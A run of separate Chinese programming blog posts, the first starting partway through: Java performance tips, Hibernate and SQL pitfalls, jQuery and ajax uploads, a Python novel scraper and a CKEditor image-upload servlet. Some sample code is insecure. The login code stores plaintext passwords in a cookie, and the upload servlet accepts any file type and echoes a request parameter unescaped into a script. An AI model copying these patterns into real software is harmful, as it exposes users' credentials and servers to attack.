答案取决于连接String的代码。如果你是以编程方式添加新内容到String中,例如在for循环中,那么你应该使用StringBuilder。它很容易使用,并提供比StringBuffer更好的性能。但请记住,与StringBuffer相比,StringBuilder不是线程安全的,可能不适合所有用例。 你只需要实例化一个新的StringBuilder并调用append方法来向String中添加一个新的部分。在你添加了所有的部分之后,你就可以调用toString()方法来检索连接的String。 下面的代码片段显示了一个简单的例子。在每次迭代期间,这个循环将i转换为一个String,并将它与一个空格一起添加到StringBuilder sb中。所以,最后,这段代码将在日志文件中写入“This is a test0 1 2 3 4 5 6 7 8 9”。 StringBuilder sb = new StringBuilder(“This is a test”); for (int i=0; i<10; i++) { sb.append(i); sb.append(” “); } log.info(sb.toString()); 正如在代码片段中看到的那样,你可以将String的第一个元素提供给构造方法。这将创建一个新的StringBuilder,新的StringBuilder包含提供的String和16个额外字符的容量。当你向StringBuilder添加更多字符时,JVM将动态增加StringBuilder的大小。 如果你已经知道你的String将包含多少个字符,则可以将该数字提供给不同的构造方法以实例化具有定义容量的StringBuilder。这进一步提高了效率,因为它不需要动态扩展其容量。 6.使用+连接一个语句中的String 当你用Java实现你的第一个应用程序时,可能有人告诉过你不应该用+来连接String。如果你是在应用程序逻辑中连接字符串,这是正确的。字符串是不可变的,每个字符串的连接结果都存储在一个新的String对象中。这需要额外的内存,会减慢你的应用程序,特别是如果你在一个循环内连接多个字符串的话。 在这些情况下,你应该遵循技巧5并使用StringBuilder。 但是,如果你只是将字符串分成多行来改善代码的可读性,那情况就不一样了。 Query q = em.createQuery(“SELECT a.id, a.firstName, a.lastName ” + “FROM Author a ” + “WHERE a.id = :id”); 在这些情况下,你应该用一个简单的+来连接你的字符串。Java编译器会对此优化并在编译时执行连接。所以,在运行时,你的代码将只使用1个String,不需要连接。 7.尽可能使用基元 避免任何开销并提高应用程序性能的另一个简便而快速的方法是使用基本类型而不是其包装类。所以,最好使用int来代替Integer,使用double来代替Double。这允许JVM将值存储在堆栈而不是堆中以减少内存消耗,并作出更有效的处理。 8.试着避免BigInteger和BigDecimal 既然我们在讨论数据类型,那么我们也快速浏览一下BigInteger和BigDecimal吧。尤其是后者因其精确性而受到大家的欢迎。但是这是有代价的。 BigInteger和BigDecimal比简单的long或double需要更多的内存,并且会显著减慢所有计算。所以,你如果需要额外的精度,或者数字将超过long的范围,那么最好三思而后行。这可能是你需要更改以解决性能问题的唯一方法,特别是在实现数学算法的时候。 9.首先检查当前日志级别 这个建议应该是显而易见的,但不幸的是,很多程序员在写代码的时候都会大多会忽略它。在你创建调试消息之前,始终应该首先检查当前日志级别。否则,你可能会创建一个之后会被忽略的日志消息字符串。 这里有两个反面例子。 // don’t do this log.debug(“User [” + userName + “] called method X with [” + i + “]”); // or this log.debug(String.format(“User [%s] called method X with [%d]”, userName, i)); 在上面两种情况中,你都将执行创建日志消息所有必需的步骤,在不知道日志框架是否将使用日志消息的前提下。因此在创建调试消息之前,最好先检查当前的日志级别。 // do this if (log.isDebugEnabled()) { log.debug(“User [” + userName + “] called method X with [” + i + “]”); } 10.使用Apache Commons StringUtils.Replace而不是String.replace 一般来说,String.replace方法工作正常,效率很高,尤其是在使用Java 9的情况下。但是,如果你的应用程序需要大量的替换操作,并且没有更新到最新的Java版本,那么我们依然有必要查找更快和更有效的替代品。 有一个备选答案是Apache Commons Lang的StringUtils.replace方法。正如Lukas Eder在他最近的一篇博客文章中所描述的,StringUtils.replace方法远胜Java 8的String.replace方法。 而且它只需要很小的改动。即添加Apache Commons Lang项目的Maven依赖项到应用程序pom.xml中,并将String.replace方法的所有调用替换为StringUtils.replace方法。 // replace this test.replace(“test”, “simple test”); // with this StringUtils.replace(test, “test”, “simple test”); 11.缓存昂贵的资源,如数据库连接 缓存是避免重复执行昂贵或常用代码片段的流行解决方案。总的思路很简单:重复使用这些资源比反复创建新的资源要便宜。 一个典型的例子是缓存池中的数据库连接。新连接的创建需要时间,如果你重用现有连接,则可以避免这种情况。 你还可以在Java语言本身找到其他例子。例如,Integer类的valueOf方法缓存了-128到127之间的值。你可能会说创建一个新的Integer并不是太昂贵,但是由于它经常被使用,以至于缓存最常用的值也可以提供性能优势。 但是,当你考虑缓存时,请记住缓存实现也会产生开销。你需要花费额外的内存来存储可重用资源,因此你可能需要管理缓存以使资源可访问,以及删除过时的资源。 所以,在开始缓存任何资源之前,请确保实施缓存是值得的,也就是说必须足够多地使用它们。 总结 正如你所看到的,有时不需要太多工作就可以提高应用程序的性能。本文中的大部分建议只需要你稍作努力就可以将它们应用于你的代码。 但是,最重要的还是那些与是什么编程语言无关的技巧: 在你知道必要之前不要优化 使用分析器查找真正的瓶颈 首先处理最大的瓶颈 译文链接:http://www.codeceo.com/article/11-simple-java-performance-tips.html英文原文:11 Simple Java Performance Tuning Tips翻译作者:码农网 – 小峰
说明 使用此功能我是在有服务器环境下操作的 记住我功能设计,需要jquery.cookie.js文件 下载链接 http://pan.baidu.com/s/1o7AVWyI 密码:sfce cookie相关知识http://www.cnblogs.com/aspnet_csharp/archive/2012/10/18/2729609.html 前端设计 引用文件 <script src="js/jquery.cookie.js"></script> jsp页面一加载就执行判断cookie中是否存入信息并填入表单 <!-- 一加载就执行 用于记住我功能 --> <script> $(document).ready(function(){ if($.cookie("password") != ''){ $("#password").val($.cookie("password")); } if($.cookie("name") != ''){ $("#name").val($.cookie("name")); } }) </script> form表单 在提交表单之前把输入的信息存入cookie <form action="login.action" method="post" onsubmit="return check()"> <div class="login form"> <div class="group"> <div class="group-ipt email"> <input type="text" name="name" id="name" class="ipt" placeholder="登录账号" required> </div> <div class="group-ipt password"> <input type="password" name="password" id="password" class="ipt" placeholder="输入您的登录密码" required> </div> </div> </div> <div class="button"> <input type="submit" class="login-btn register-btn" id="button" value="登录"> </div> <div class="remember clearfix"> <label class="remember-me"><span class="icon"><span class="zt"></span></span><input type="checkbox" name="remember-me" id="remember-me" class="remember-mecheck" checked>记住我</label> <label class="forgot-password"> <a href="#">忘记密码?</a><!-- --> </label> </div> </form> check()函数 <script> function check(){ //记住我功能使用 //写入cookie if ($("#remember-me").prop("checked") == true) { var name = $("#name").val(); var password = $("#password").val(); //alert(passWord); $.cookie("name", name); $.cookie("password", password,{ expires: 7 }); // 存储一个带7天期限的 cookie 如果{ expires: 7 } 不写则cookie只相当回话效果 } else { $.cookie("name", ""); $.cookie("password", ""); } } </script> OK!记住我功能实现了!
没接触过hibernate,这几天在查询一条关联多张表的数据,但是令我十分奇怪的事发生了,我的表结构没修改了!导致其中一张表字段被增加了!很显然这不行,可能会导致其他功能! 原因是配置文件中有这样一条属性: hibernate.hbm2ddl.auto=update 以及xml中的一个配置 hibernate.hbm2ddl.auto=${hibernate.hbm2ddl.auto} 正是这两句配置导致我。。。弄了很久,也不会 转载以下内容 hibernate.cfg.xml 中hibernate.hbm2ddl.auto配置节点如下: <properties> <property name="hibernate.show_sql" value="true" /> <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> Hibernate Reference Documentation 3.3.1解释如下: Automatically validate or export schema DDL to the database when the SessionFactory is created. With create-drop, the database schema will be dropped when the SessionFactory is closed explicitly. eg. validate | update | create | create-drop 其实这个hibernate.hbm2ddl.auto参数的作用主要用于:自动创建|更新|验证数据库表结构。如果不是此方面的需求建议set value=”none”。 create: 每次加载hibernate时都会删除上一次的生成的表,然后根据你的model类再重新来生成新表,哪怕两次没有任何改变也要这样执行,这就是导致数据库表数据丢失的一个重要原因。 create-drop : 每次加载hibernate时根据model类生成表,但是sessionFactory一关闭,表就自动删除。 update: 最常用的属性,第一次加载hibernate时根据model类会自动建立起表的结构(前提是先建立好数据库),以后加载hibernate时根据 model类自动更新表结构,即使表结构改变了但表中的行仍然存在不会删除以前的行。要注意的是当部署到服务器后,表结构是不会被马上建立起来的,是要等 应用第一次运行起来后才会。 validate : 每次加载hibernate时,验证创建数据库表结构,只会和数据库中的表进行比较,不会创建新表,但是会插入新值。 再说点“废话”: 当我们把hibernate.hbm2ddl.auto=create时hibernate先用hbm2ddl来生成数据库schema。 当我们把hibernate.cfg.xml文件中hbm2ddl属性注释掉,这样我们就取消了在启动时用hbm2ddl来生成数据库schema。通常 只有在不断重复进行单元测试的时候才需要打开它,但再次运行hbm2ddl会把你保存的一切都删除掉(drop)—- create配置的含义是:“在创建SessionFactory的时候,从scema中drop掉所以的表,再重新创建它们”。 注意,很多Hibernate新手在这一步会失败,我们不时看到关于Table not found错误信息的提问。但是,只要你根据上面描述的步骤来执行,就不会有这个问题,因为hbm2ddl会在第一次运行的时候创建数据库schema, 后续的应用程序重启后还能继续使用这个schema。假若你修改了映射,或者修改了数据库schema,你必须把hbm2ddl重新打开一次。 这两天在整理Spring + JPA(Hibernate实现),从网上copy了一段Hibernate连接参数的配置。 <properties> <property name="hibernate.show_sql" value="true" /> <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> 结果在测试时,老是发现数据库表数据丢失。这个参数以前没怎么用,查了一圈其它的东东,最后才定位到这个上面。赶紧查了一下Hibernate的参数配置,解释如下: hibernate.hbm2ddl.auto Automatically validate or export schema DDL to the database when the SessionFactory is created. With create-drop, the database schema will be dropped when the SessionFactory is closed explicitly. eg. validate | update | create | create-drop 其实这个参数的作用主要用于:自动创建|更新|验证数据库表结构。如果不是此方面的需求建议set value=”none”. 其它几个参数的意思,我解释一下: validate 加载hibernate时,验证创建数据库表结构 create 每次加载hibernate,重新创建数据库表结构,这就是导致数据库表数据丢失的原因。 create-drop 加载hibernate时创建,退出是删除表结构 update 加载hibernate自动更新数据库结构 以上4个属性对同一配置文件下所用有的映射表都起作用 总结: 1.请慎重使用此参数,没必要就不要随便用。 2.如果发现数据库表丢失,请检查hibernate.hbm2ddl.auto的配置 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/lgq_0714/archive/2009/11/16/4814693.aspx
在使用hibernate查询结果返回list结果集都是一样的问题,比如 List<Student> 在执行hql查询后查到的Student都是同一个对象 我的hql语句是多张表联合查询,为了应付hibernate需要的id在查表的时候也增加一个Id字段,但是这个id字段的内容都是一样,正是因为这个id都是一样导致查到的数据都为同一个对象 后面改了id 用了另一张表的id 问题解决了。完!
在使用xshell远程连接我的服务器时想创建一个数据库 结果执行不对,sql语句如下 mysql> create database 'wechatmall'; 结果出现mysql报错,这个提示很明显是sql语句有问题 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''wechatmall'' at line 1 之前用eclipse建数据库的时候都是 create database 数据库名 在命令环境下会报错。注意 我的第一条执行建表语句的符号为英文状态下的单引号 解决方法 正确的应该为英文状态下的 ` 这个符号在tab键的上方 细节注定成败啊,昨晚做了噩梦..
废话 坑是自己累积的,跳与不跳只在一念之间啊! 前端时间让做一个前端判断文件大小并提示是否可上传,由于前端代码太多,主要实现上传功能的代码我看出了。。。导致,这个功能直接没做出来!今天冷静下来,终于TM搞定了,年轻人啊,还是要心静! 前端表单 注意 在submit前执行cheakFileSize 函数加以判断 <form action="uploadFile.action" method="POST" enctype="multipart/form-data" onsubmit="return cheakFileSize()"> <p> 请选择你要上传的文件 </p> <input type="file" id="fileId" > <input type="submit" value="上传"> </form> JS获取文件大小并判断 <script type="text/javascript"> var files = document.getElementById('fileId').files; var fileSize = 0; if(files.length!=0){ fileSize = files[0].size; } if(fileSize >1048576){ alert("文件不能大于 1M "); return false; } </script>
elementary os 官方网站:https://elementary.io/ 这os是真好看!首先这是基于ubuntu的,所以可以安装ubuntu的软件! 电脑必备浏览器必须是chrome呀!下载地址: https://www.chrome64bit.com/index.php/google-chrome-64-bit-for-linux 在下载后第一次安装出现错误! 忘记截图了…大致是这样的,提示缺少依赖 gconf-service; 只复制了这么一点点信息,fuck哦! 1. 安装命令 sudo dpkg -i 文件名.deb 就是输入这个命令出现错误提示 2. 接下来输入以下命令会扫描缺少的依赖,并询问你是否下载 sudo apt-get -f install 3. 依赖安装好后再次输入sudo dpkg -i 文件名.deb即步骤一 4. 搞定! 博客记录来在浏览器chrome!
欢迎使用Markdown编辑器写博客 本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦: Markdown和扩展Markdown简洁的语法 代码块高亮 图片链接和图片上传 LaTex数学公式 UML序列图和流程图 离线写博客 导入导出Markdown文件 丰富的快捷键 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl + Q 插入链接 Ctrl + L 插入代码 Ctrl + K 插入图片 Ctrl + G 提升标题 Ctrl + H 有序列表 Ctrl + O 无序列表 Ctrl + U 横线 Ctrl + R 撤销 Ctrl + Z 重做 Ctrl + Y Markdown及扩展 Markdown 是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档,然后转换成格式丰富的HTML页面。 —— [ 维基百科 ] 使用简单的符号标识不同的标题,将某些文字标记为粗体或者斜体,创建一个链接等,详细语法参考帮助?。 本编辑器支持 Markdown Extra , 扩展了很多好用的功能。具体请参考Github. 表格 Markdown Extra 表格语法: 项目 价格 Computer $1600 Phone $12 Pipe $1 可以使用冒号来定义对齐方式: 项目 价格 数量 Computer 1600 元 5 Phone 12 元 12 Pipe 1 元 234 定义列表 Markdown Extra 定义列表语法: 项目1 项目2 定义 A 定义 B 项目3 定义 C 定义 D 定义D内容 代码块 代码块语法遵循标准markdown代码,例如: @requires_authorization def somefunc(param1='', param2=0): '''A docstring''' if param1 > param2: # interesting print 'Greater' return (param2 - param1 + 1) or None class SomeClass: pass >>> message = '''interpreter ... prompt''' 脚注 生成一个脚注1. 目录 用 [TOC]来生成目录: 欢迎使用Markdown编辑器写博客 快捷键 Markdown及扩展 表格 定义列表 代码块 脚注 目录 数学公式 UML 图 离线写博客 浏览器兼容 数学公式 使用MathJax渲染LaTex 数学公式,详见math.stackexchange.com. 行内公式,数学公式为:Γ(n)=(n−1)!∀n∈N。 块级公式: x=−b±b2−4ac−−−−−−−√2a 更多LaTex语法请参考 这儿. UML 图: 可以渲染序列图: Created with Raphaël 2.1.0张三张三李四李四嘿,小四儿, 写博客了没?李四愣了一下,说:忙得吐血,哪有时间写。 或者流程图: Created with Raphaël 2.1.0开始我的操作确认?结束yesno 关于 序列图 语法,参考 这儿, 关于 流程图 语法,参考 这儿. 离线写博客 即使用户在没有网络的情况下,也可以通过本编辑器离线写博客(直接在曾经使用过的浏览器中输入write.blog.csdn.net/mdeditor即可。Markdown编辑器使用浏览器离线存储将内容保存在本地。 用户写博客的过程中,内容实时保存在浏览器缓存中,在用户关闭浏览器或者其它异常情况下,内容不会丢失。用户再次打开浏览器时,会显示上次用户正在编辑的没有发表的内容。 博客发表后,本地缓存将被删除。 用户可以选择 把正在写的博客保存到服务器草稿箱,即使换浏览器或者清除缓存,内容也不会丢失。 注意:虽然浏览器存储大部分时候都比较可靠,但为了您的数据安全,在联网后,请务必及时发表或者保存到服务器草稿箱。 浏览器兼容 目前,本编辑器对Chrome浏览器支持最为完整。建议大家使用较新版本的Chrome。 IE9以下不支持 IE9,10,11存在以下问题 不支持离线功能 IE9不支持文件导入导出 IE10不支持拖拽文件导入 这里是 脚注 的 内容. ↩
前几天在查数据中的时候用了and结果一直不对(查的数据多了)直到我把and 改成where 数据就正常了! 看到一篇帖子!特意转载,原博主未申明不可转载,若作者不愿意则删除… 源博地址:http://www.cnblogs.com/iffan/p/6602361.html 众所周知,数据库的表都是单独存在的,但是当我们进行联合查询(多表查询)时,我们获得数据库返回的值时就好像在一张表里一样,这是因为在进行联合查询时数据库会生成一个临时表返回给我们所想要的数据信息,这时我们都是通过LEFT JOIN 等语句进行相关联,并且我们也会为我们所想查询的数据进行一个筛选,这时我们就会用到过滤语句。 LEFT JOIN ON WHERE:在临时表生成后,再对临时表的数据进行过滤,再返回左表。 LEFT JOIN ON AND:在临时表生成的过程时,ON中的条件不管是否为真,都将返回左表。 例如: 表1.id 表1.value 表2.value 表2.name 1 100 100 开心 2 200 200 很开心 3 300 300 超级开心 4 400 400 无敌开心 SQL语句如下: [1] SELECT * FROM 表1 LEFT JOIN 表2 ON (表1.value = 表2.value) WHERE 表2.name = 开心 [2] SELECT * FROM 表1 LEFT JOIN 表2 ON (表1.value = 表2.value) ON 表2.name = 开心 当执行[1]的时候得: 表1.id 表1.value 表2.value 表2.name 1 100 100 开心 当执行[2]的时候得: 表1.id 表1.value 表2.value 表2.name 1 100 100 开心 2 200 NULL NULL 3 300 NULL NULL 4 400 NULL NULL
说明 文件上传用到就jar包 mavne依赖 <dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.2</version> </dependency> 使用了jquery.form.js 遇到的坑啊,解决了,没想到昨日又遇到了坑! 之前是用easyUI框架使用ajax异步上传文件,然后这次没用easyUI导致js代码错误,在网上搜到一个答案… 一 **此方法是【$(‘#form’).form(“submit”,{……});】 这是easyui中的写法,如果要使用这种形式提交form表单,需要引入easyUI,即【jquery.easyui.min.js】。** function save(){ $('#myform').form('submit',{ onSubmit:function(){ $("#myform").ajaxSubmit({ type:"POST", url:"addGoods.action", dataType:"JSON", success:function(data){ if(data.code==1){ alert("成功"); }else{ alert("失败! "+data.msg); } } }); } }); } 所以!以上方式失效! 二 接下来发现这段代码 $("#button").click(function() { //alert(666); $('#myform').ajaxForm({ type:'POST', url:'addGoods.action', dataType: 'JSON' }); }); 看到有人成功了,但是为啥我的ajaxForm还是报错?问题截止到现在还未找到… 三 function save(){ var option= { url:'addGoods.action', data: $('#myform').serialize(), type : 'POST', dataType : 'json', success : function(data) { if(data.code==1){ alert("成功!"); //清空表单数据 $('#myform')[0].reset(); } } }; $("#myform").ajaxSubmit(option); return false; } 终于成功了!ajaxSubmit这个函数没问题,上传解决
说明: eclipse版本:Version: Oxygen Release (4.7.0) 使用pycharm可以自动提示,个人表示非常好用,写代码比较快,嘻嘻 不过平时用eclipse写java代码比较多,那么eclipse就没有提示了吗? 今日学到一招,记录一下 在箭头那块输入.abcdefghijklmnopqrstuvwxyz OK 现在可以了!
无聊的练习。。。貌似网站真的有毒,我的电脑多了一个广告。。。fuck 换做好几年前我们看电子书都是在网上下载txt文件的书籍,现在各种APP阅读软件实在方便太多。 那么txt的文件就没用了吗?不呀,可以下载放kindle阅读呀! 部分网站不提供整本书籍下载,想想也是麻烦哎!既然不提供,那么,自己动手,风衣足食呀! 目标网站:http://www.136book.com/ 首先 需要的库文件 import re import os import requests import time import threading from multiprocessing import Pool from requests import RequestException from urllib import request from bs4 import BeautifulSoup 根据网页链接获取整个网页代码 通过此方法获取整个网页内容,这样我们才可以做下面的页面解析 #获取页面内容 def get_page(url): user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36' myheader = {'User-Agent':user_agent} try: response = requests.get(url,headers=myheader) if response.status_code == 200: return response.text return None except RequestException: print( '出错',url) return None 分析网页获取所有章节链接 打开网址http://www.136book.com/santiheji 用chrome浏览器右键检查查看信息 可以发现所有章节都在div id=”box1” class=”book_detail” 一共有两个这样的div标签,而我们所需要的信息是需要第二个,因为第二个包含了第一个的所有内容 代码如下 #解析页面 获取所有链接 def get_all_link(html): #用来保存所有的章节链接 link_title = [] soup = BeautifulSoup(html,'lxml') #获取所有章节 不要最新章节的内容 all_chapter = soup.find_all('div',attrs={'class':'box1'}) #在以all_chapter为内容提取所有a标签 soup_all_chapter = BeautifulSoup(str(all_chapter[1]),'lxml') # print( soup_all_chapter ) #获取所有的li标签 all_li = soup_all_chapter.find_all('ol',attrs={'class':'clearfix'}) #在获取所有a标签 soup_a = BeautifulSoup(str(all_li),'lxml') all_a = soup_a.find_all('a') for a in all_a: link_title.append( a.get('href') ) # print( ( a.get('href'),a.text ) ) # print( link_title ) return link_title 分析网页获取文本内容 首先顺便打开一本书,比如《三体》 用chrome浏览器右键检查查看信息 可以看出章节标题在 h1第1章 科学边界(1) p标签里面就是每章节的内容只要取出div id=”content”中所有的p标签里面的内容即可! 代码如下 #解析页面提取所有TXT文本 并写入文件 def get_txt_content_and_write_file(url): #获取网页文本内容 html = get_page(url) # print( html ) #提取文本内容 soup = BeautifulSoup(html,'lxml') #获取每章节标题 soup_title = soup.find('h1') # print( soup_title.text ) #获取所有tr soup_tr = soup.find('tr') soup_a = BeautifulSoup(str(soup_tr),'lxml') #获取书籍名称 book_name = soup_a.find_all('a')[2].text[:-4] #将标题写入文件 write_file( str(soup_title.text)+'\n',book_name ) #写入数据并换行 # 找出div中的内容 soup_text = soup.find('div', id='content') # 输出其中的文本 soup_p = BeautifulSoup(str(soup_text),'lxml') for x in (soup_p.find_all('p')): #去掉 p 标签 x = str(x).replace('<p>','').replace('</p>','') #写入TXT文件 write_file( x,book_name ) # print( x ) 获取整本书籍名称 这样后面写入文件就可以根据书籍名来创建文件夹了 #解析页面获取整本书籍名称 def get_title(html): soup = BeautifulSoup(html,'lxml') title = soup.find('h1') return title.text 写入txt文件 获取了网页上所有我们所需的内容,接下来就是写入文件 def write_file(content,book_name): file_path = 'D:\{}/{}.txt'.format(book_name,book_name) #首先创建文件夹 file_directories = 'D:\{}'.format(book_name) if not os.path.exists(file_directories): os.mkdir(file_directories) #写入文件 with open(file_path,'a') as f: f.flush() f.write(content+'\n') #写入数据并换行 f.close() 主函数运行函数执行操作 if __name__ == '__main__': url = 'http://www.136book.com/santiheji' #程序计时 start_time = time.time() html = get_page(url) #获取书籍名称 title = get_title(html ) #获取所有章节链接 link_title = get_all_link(html) #返回的数据是一个列表 列表内容为所有章节链接 t = 0 for lt in link_title: t = t+1 print( lt,'已经完成',t/len(link_title)*100,'%' ) #根据每个链接去拿取数据并写入文件 get_txt_content_and_write_file( lt ) #结束时间 end_time = time.time() print( '耗时:',end_time-start_time ) 一两分钟就搞定了一本电子书,是不是很过瘾?想想如果是手动ctrl+c ctrl+v估计会想死吧… 提示,换一本书的链接也可以下载哦,哈哈哈 不放过此网站上的任何一本书籍!
说明 CKeditor版本 ckeditor_4.7.3_standard Tomcat版本 apache-tomcat-8.0.44 下载CKeditor和CKeditor文档 https://ckeditor.com/ckeditor-4/download/ https://docs.ckeditor.com/ckeditor4/docs/#!/guide/dev_installation https://ckeditor.com/cke4/addons/plugins/all 插件下载 图片上传 下载好了!那么开始吧! CKeditor默认把上传图片功能隐藏了,感觉好贱哦~ 那么,他和我们躲猫猫,我们就把他找出来吧! 引用CKeditor 以下代码是官方给出 一切以官方为标准 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>A Simple Page with CKEditor</title> <!-- Make sure the path to CKEditor is correct. --> <script src="../ckeditor.js"></script> </head> <body> <form> <textarea name="editor1" id="editor1" rows="10" cols="80"> This is my textarea to be replaced with CKEditor. </textarea> <script> // Replace the <textarea id="editor1"> with a CKEditor // instance, using default configuration. CKEDITOR.replace( 'editor1' ); </script> </form> </body> </html> 引用正确后打开网页会看到CKeditor出来了! 为了上传图片,更改网页为jsp 这样我的Tomcat才可以发挥作用呀 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- 引用ckeditor JS文件 --> <script src="ckeditor/ckeditor.js"></script> <title>CKEditor</title> </head> <body> <center> <form> <textarea name="editor1" id="editor1" rows="10" cols="100"> 文字在这! This is my textarea to be replaced with CKEditor. </textarea> <script> // Replace the <textarea id="editor1"> with a CKEditor // instance, using default configuration. 官方代码有部分改动,比如这个宽高设置 CKEDITOR.replace( 'editor1',{ height: '240px', width: '520px' } ); </script> </form> </center> </body> </html> 修改配置文件 显示图片上传功能 修改image.js文件 文件所在位置: ckeditor/plugins/image/dialogs/image.js 打开后你会发现,我屮艸芔茻哦这是什么鬼,好咯,被压缩了…没关系呀,eclipse的ctrl+f搜索一下不就好了 1. 搜索Upload 搜到的第一个后面会有一个hidden:!0 把感叹号去掉,保存,刷新页面,你就会发现上传功能现身了 2. config.image_previewText||”这里是CKeditor中显示一大串英文的东西,把这里内容去掉用来显示图片” 3. 既然是上传文件当然得有行为咯 在ckeditor/config.js 在config.js 中增加一句: //获取基地址 var location = (window.location+'').split('/'); var basePath = location[0]+'//'+location[2]+'/'+location[3]; config.filebrowserImageUploadUrl=basePath+"/upLoadFile.action"; 意思为在上传图片的时候执行这个请求 行为接收upLoadFile.action的Servlet 文件上传用到了commons-fileupload maven依赖 <!-- https://mvnrepository.com/artifact/commons-fileupload/commons-fileupload --> <dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.2</version> </dependency> 单纯的jar包下载地址 http://central.maven.org/maven2/commons-fileupload/commons-fileupload/1.3.2/commons-fileupload-1.3.2.jar UpLoadFileServlet 文件上传思路与理解 1. 首先文件上传肯定不能上传到项目路径,因此我设置上传路径为项目部署路径上一级目录 2. 上传文件应该按照日期分类,以方便查看,不要为难自己嘛 3. 文件名,要么使用UUID,还是建议使用日期,以方便查看什么时候上传 4. 如果涉及多文件上传,那么保存的文件名不能重复,解决方案有,以时间命名精确到毫秒级别 上传图片需要显示在CKeditor中,那么CKeditor需要这些信息才能正确显示信息,所以需要回传一些数据给CKeditor 这是使用CKeditor上传图片发起的请求 //http://localhost:8080/CKEditor/upLoadFile.action?CKEditor=editor1&CKEditorFuncNum=0&langCode=zh-cn String callback = req.getParameter("CKEditorFuncNum"); resp.setContentType("text/html;charset=utf-8"); PrintWriter out = resp.getWriter(); out.write("<script type=\"text/javascript\">"); out.write("window.parent.CKEDITOR.tools.callFunction("+callback+",'"+weburl+fileName+"',''"+")"); out.write("</script>"); 注意: CKeditor 4.7.3上传执行的参数发生了变化 详情请看代码 package com.yc.servlets; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Calendar; import java.util.Date; import java.util.List; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.FileItemFactory; import org.apache.commons.fileupload.FileItemIterator; import org.apache.commons.fileupload.FileItemStream; import org.apache.commons.fileupload.FileUploadException; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; public class UpLoadFileServlet extends HttpServlet{ private String uploadPath = null; private String filePath = "CKEditorPic"; @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //CKeditor上传文件的请求参数 CKEditor=editor1&CKEditorFuncNum=0&langCode=zh-cn //http://localhost:8080/CKEditor/upLoadFile.action?CKEditor=editor1&CKEditorFuncNum=0&langCode=zh-cn String type = "image";//req.getParameter("type"); 4.7.3版本无此参数 FileItemFactory itemFactory = new DiskFileItemFactory(); ServletFileUpload servletFileUpload = new ServletFileUpload(itemFactory); try { FileItemIterator itemIterator = servletFileUpload.getItemIterator(req); if (itemIterator.hasNext()) { FileItemStream itemStream = itemIterator.next(); String name = itemStream.getName(); InputStream inputStream = itemStream.openStream(); String tagName = getTagName(name); if ("image".equals(type)) { //allowedImages.contains(tagName) && String fileName = this.geneFileName(tagName); Calendar c = Calendar.getInstance(); // 取tomcat路径 C:\apache-tomcat-8.0.44\webapps\CKEditor String tomcatdir = req.getRealPath("/"); File tomcatFile = new File(tomcatdir); // tomcatdir上一级路径 C:\apache-tomcat-8.0.44\webapps File webapppath = tomcatFile.getParentFile(); // 生成文件路径 File picpath = new File(webapppath, filePath + File.separator + c.get(Calendar.YEAR) + File.separator + (c.get(Calendar.MONTH) + 1) + File.separator); // 浏览器中CKeditor图片访问路径名 String weburl = "../"+filePath+"/" + c.get(Calendar.YEAR) + "/" + (c.get(Calendar.MONTH) + 1) + "/"; // 判断目录是否存在,不在则创建 if (picpath.exists() == false) { picpath.mkdirs(); } //保存路径 uploadPath = picpath.toString(); //上传文件 this.upload(inputStream, fileName); //返回数据给CKeditor String callback = req.getParameter("CKEditorFuncNum"); resp.setContentType("text/html;charset=utf-8"); PrintWriter out = resp.getWriter(); out.write("<script type=\"text/javascript\">"); out.write("window.parent.CKEDITOR.tools.callFunction("+callback+",'"+weburl+fileName+"',''"+")"); out.write("</script>"); } } } catch (FileUploadException e) { e.printStackTrace(); } } //获取上传文件的后缀名 private String getTagName(String fileName) { int index = fileName.lastIndexOf(".")+1; return fileName.substring(index); } //生成文件名 20171015210454919.png private String geneFileName(String tagName) { SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmssSS"); return sdf.format(new Date()) + "." + tagName; } //写入磁盘 private void upload(InputStream inputStream, String fileName) throws IOException { File file = new File(uploadPath, fileName); OutputStream os = new FileOutputStream(file); byte[] bytes = new byte[1024]; int len = 0; while ((len = inputStream.read(bytes)) != -1) { os.write(bytes, 0, len); } inputStream.close(); os.close(); } } 配置web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance http://www.springmodules.org/schema/cache/springmodules-cache.xsd http://www.springmodules.org/schema/cache/springmodules-ehcache.xsd" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" metadata-complete="true" version="3.0"> <display-name>Archetype Created Web Application</display-name> <servlet> <servlet-name>upLoadFileServlet</servlet-name> <servlet-class>com.yc.servlets.UpLoadFileServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>upLoadFileServlet</servlet-name> <url-pattern>/upLoadFile.action</url-pattern> </servlet-mapping> </web-app> 好了,图片上传搞定 那么接下来,配置CKeditor吧 